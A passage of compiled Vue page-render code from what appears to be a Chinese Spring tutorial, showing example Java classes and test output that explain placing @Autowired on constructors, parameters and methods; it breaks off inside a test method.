"),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br"),t("span",{staticClass:"line-number"},[s._v("4")]),t("br"),t("span",{staticClass:"line-number"},[s._v("5")]),t("br"),t("span",{staticClass:"line-number"},[s._v("6")]),t("br"),t("span",{staticClass:"line-number"},[s._v("7")]),t("br"),t("span",{staticClass:"line-number"},[s._v("8")]),t("br"),t("span",{staticClass:"line-number"},[s._v("9")]),t("br"),t("span",{staticClass:"line-number"},[s._v("10")]),t("br"),t("span",{staticClass:"line-number"},[s._v("11")]),t("br"),t("span",{staticClass:"line-number"},[s._v("12")]),t("br"),t("span",{staticClass:"line-number"},[s._v("13")]),t("br"),t("span",{staticClass:"line-number"},[s._v("14")]),t("br"),t("span",{staticClass:"line-number"},[s._v("15")]),t("br"),t("span",{staticClass:"line-number"},[s._v("16")]),t("br"),t("span",{staticClass:"line-number"},[s._v("17")]),t("br"),t("span",{staticClass:"line-number"},[s._v("18")]),t("br"),t("span",{staticClass:"line-number"},[s._v("19")]),t("br"),t("span",{staticClass:"line-number"},[s._v("20")]),t("br"),t("span",{staticClass:"line-number"},[s._v("21")]),t("br"),t("span",{staticClass:"line-number"},[s._v("22")]),t("br"),t("span",{staticClass:"line-number"},[s._v("23")]),t("br"),t("span",{staticClass:"line-number"},[s._v("24")]),t("br"),t("span",{staticClass:"line-number"},[s._v("25")]),t("br"),t("span",{staticClass:"line-number"},[s._v("26")]),t("br"),t("span",{staticClass:"line-number"},[s._v("27")]),t("br"),t("span",{staticClass:"line-number"},[s._v("28")]),t("br"),t("span",{staticClass:"line-number"},[s._v("29")]),t("br")])]),t("p",[s._v("此时,Spring默认加载IOC容器中的组件,IOC容器启动的时候默认会调用bean的无参构造器创建对象,然后再进行初始化赋值等操作。")]),s._v(" "),t("p",[s._v("接下来,我们为Dog类添加一个有参构造方法,然后去除setCat()方法上的@Autowired注解,将@Autowired注解标注在有参构造方法上,并在构造方法中打印信息,如下所示。")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("package")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token namespace"}},[s._v("io"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("mykit"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("spring"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("plugins"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("register"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("bean")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("import")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token import"}},[t("span",{pre:!0,attrs:{class:"token namespace"}},[s._v("org"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("springframework"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("beans"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("factory"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("annotation"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")])]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Autowired")])]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("import")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token import"}},[t("span",{pre:!0,attrs:{class:"token namespace"}},[s._v("org"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("springframework"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("stereotype"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")])]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Component")])]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("/**\n * @author binghe\n * @version 1.0.0\n * @description 测试实体类\n */")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Component")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Dog")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("private")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Cat")]),s._v(" cat"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Autowired")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Dog")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Cat")]),s._v(" cat"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("this")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("cat "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" cat"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("System")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("out"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("println")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"调用了Dog的有参构造方法"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Cat")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("getCat")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("return")]),s._v(" cat"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("void")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("setCat")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Cat")]),s._v(" cat"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("this")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("cat "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" cat"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Override")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("toString")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("return")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"Dog{"')]),s._v(" "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"cat="')]),s._v(" "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),s._v(" cat "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token char"}},[s._v("'}'")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br"),t("span",{staticClass:"line-number"},[s._v("4")]),t("br"),t("span",{staticClass:"line-number"},[s._v("5")]),t("br"),t("span",{staticClass:"line-number"},[s._v("6")]),t("br"),t("span",{staticClass:"line-number"},[s._v("7")]),t("br"),t("span",{staticClass:"line-number"},[s._v("8")]),t("br"),t("span",{staticClass:"line-number"},[s._v("9")]),t("br"),t("span",{staticClass:"line-number"},[s._v("10")]),t("br"),t("span",{staticClass:"line-number"},[s._v("11")]),t("br"),t("span",{staticClass:"line-number"},[s._v("12")]),t("br"),t("span",{staticClass:"line-number"},[s._v("13")]),t("br"),t("span",{staticClass:"line-number"},[s._v("14")]),t("br"),t("span",{staticClass:"line-number"},[s._v("15")]),t("br"),t("span",{staticClass:"line-number"},[s._v("16")]),t("br"),t("span",{staticClass:"line-number"},[s._v("17")]),t("br"),t("span",{staticClass:"line-number"},[s._v("18")]),t("br"),t("span",{staticClass:"line-number"},[s._v("19")]),t("br"),t("span",{staticClass:"line-number"},[s._v("20")]),t("br"),t("span",{staticClass:"line-number"},[s._v("21")]),t("br"),t("span",{staticClass:"line-number"},[s._v("22")]),t("br"),t("span",{staticClass:"line-number"},[s._v("23")]),t("br"),t("span",{staticClass:"line-number"},[s._v("24")]),t("br"),t("span",{staticClass:"line-number"},[s._v("25")]),t("br"),t("span",{staticClass:"line-number"},[s._v("26")]),t("br"),t("span",{staticClass:"line-number"},[s._v("27")]),t("br"),t("span",{staticClass:"line-number"},[s._v("28")]),t("br"),t("span",{staticClass:"line-number"},[s._v("29")]),t("br")])]),t("p",[s._v("接下来,我们运行AutowiredTest类的testAutowired01()方法进行测试,可以看到输出结果信息中存在如下一行信息。")]),s._v(" "),t("div",{staticClass:"language-bash line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-bash"}},[t("code",[s._v("调用了Dog的有参构造方法\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br")])]),t("p",[s._v("说明IOC容器在启动的时候调用了Dog类的有参构造方法。并且可以从输出的如下两行信息可以看出:通过Dog类的toString()方法打印出的Cat对象和直接从IOC容器中获取的Cat对象是同一个对象。")]),s._v(" "),t("div",{staticClass:"language-bash line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-bash"}},[t("code",[s._v("Dog"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("cat"),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("io.mykit.spring.plugins.register.bean.Cat@6a400542"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\nio.mykit.spring.plugins.register.bean.Cat@6a400542\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br")])]),t("p",[t("strong",[s._v("这里,需要大家注意的是:使用@Autowired注解标注在构造方法上时,构造方法中的参数对象也都是从IOC容器中获取的。")])]),s._v(" "),t("h3",{attrs:{id:"标注在参数上"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#标注在参数上"}},[s._v("#")]),s._v(" 标注在参数上")]),s._v(" "),t("p",[s._v("我们也可以将@Autowired注解标注在参数上,例如,在Dog类中我们将构造方法上的@Autowired注解标注在构造方法的参数上,如下所示。")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Dog")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Autowired")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Cat")]),s._v(" cat"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("this")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("cat "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" cat"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("System")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("out"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("println")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"调用了Dog的有参构造方法"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br"),t("span",{staticClass:"line-number"},[s._v("4")]),t("br")])]),t("p",[s._v("也可以将@Autowired注解标注在setter方法的参数上,如下所示。")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("void")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("setCat")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Autowired")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Cat")]),s._v(" cat"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("this")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("cat "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" cat"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br")])]),t("p",[s._v("这些效果与标注在字段、实例方法和构造方法上的效果都是一样的。")]),s._v(" "),t("p",[s._v("例如,我们将@Autowired注解标注在构造方法的参数上,运行AutowiredTest类的testAutowired01()方法进行测试,可以看到,输出结果中,同样包含如下三行信息。")]),s._v(" "),t("div",{staticClass:"language-bash line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-bash"}},[t("code",[s._v("调用了Dog的有参构造方法\nDog"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("cat"),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("io.mykit.spring.plugins.register.bean.Cat@6a400542"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\nio.mykit.spring.plugins.register.bean.Cat@6a400542\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br")])]),t("p",[t("strong",[s._v("结论:无论Autowired注解标注在字段上、实例方法上、构造方法上还是参数上,都是从IOC容器中获取参数组件的值。")])]),s._v(" "),t("p",[t("strong",[s._v("如果Spring的bean只有一个有参构造方法,并且这个有参构造方法只有一个参数,并且这个参数是IOC容器中的对象,当@Autowired注解标注在这个构造方法的参数上时,我们可以将@Autowired注解省略")]),s._v(",如下所示。")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Dog")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Cat")]),s._v(" cat"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("this")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("cat "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" cat"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("System")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("out"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("println")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"调用了Dog的有参构造方法"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br"),t("span",{staticClass:"line-number"},[s._v("4")]),t("br")])]),t("p",[s._v("接下来,我们运行AutowiredTest类的testAutowired01()方法进行测试,从输出的结果信息中,可以看出,同样输出了下面的三行信息。")]),s._v(" "),t("div",{staticClass:"language-bash line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-bash"}},[t("code",[s._v("调用了Dog的有参构造方法\nDog"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("cat"),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("io.mykit.spring.plugins.register.bean.Cat@6a400542"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\nio.mykit.spring.plugins.register.bean.Cat@6a400542\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br")])]),t("p",[t("strong",[s._v("说明:如果Spring的bean只有一个有参构造方法,并且这个有参构造方法只有一个参数,并且这个参数是IOC容器中的对象,当@Autowired注解标注在这个构造方法的参数上时,我们可以将@Autowired注解省略。")])]),s._v(" "),t("h3",{attrs:{id:"标注在方法位置"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#标注在方法位置"}},[s._v("#")]),s._v(" 标注在方法位置")]),s._v(" "),t("p",[s._v("@Autowired注解可以标注在某个方法的位置上。这里,为了更好的演示效果,我们新建一个Fish类,在Fish类中有一个Cat类型的成员变量,如下所示。")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("package")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token namespace"}},[s._v("io"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("mykit"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("spring"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("plugins"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("register"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("bean")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("/**\n * @author binghe\n * @version 1.0.0\n * @description 测试类\n */")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Fish")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("private")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Cat")]),s._v(" cat"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("void")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("setCat")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Cat")]),s._v(" cat"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("this")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("cat "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" cat"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Override")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("toString")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("return")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"Fish{"')]),s._v(" "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"cat="')]),s._v(" "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),s._v(" cat "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token char"}},[s._v("'}'")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br"),t("span",{staticClass:"line-number"},[s._v("4")]),t("br"),t("span",{staticClass:"line-number"},[s._v("5")]),t("br"),t("span",{staticClass:"line-number"},[s._v("6")]),t("br"),t("span",{staticClass:"line-number"},[s._v("7")]),t("br"),t("span",{staticClass:"line-number"},[s._v("8")]),t("br"),t("span",{staticClass:"line-number"},[s._v("9")]),t("br"),t("span",{staticClass:"line-number"},[s._v("10")]),t("br"),t("span",{staticClass:"line-number"},[s._v("11")]),t("br"),t("span",{staticClass:"line-number"},[s._v("12")]),t("br"),t("span",{staticClass:"line-number"},[s._v("13")]),t("br"),t("span",{staticClass:"line-number"},[s._v("14")]),t("br"),t("span",{staticClass:"line-number"},[s._v("15")]),t("br"),t("span",{staticClass:"line-number"},[s._v("16")]),t("br")])]),t("p",[s._v("接下来,我们在AutowiredConfig类中实例化Fish类,如下所示。")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Bean")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Fish")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("fish")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("return")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("new")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Fish")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br"),t("span",{staticClass:"line-number"},[s._v("4")]),t("br")])]),t("p",[s._v("接下来,我们在AutowiredTest类中创建testAutowired02()方法,如下所示。")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Test")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("void")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("testAutowired02")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//创建IOC容器")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("AnnotationConfigApplicationContext")]),s._v(" context "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" 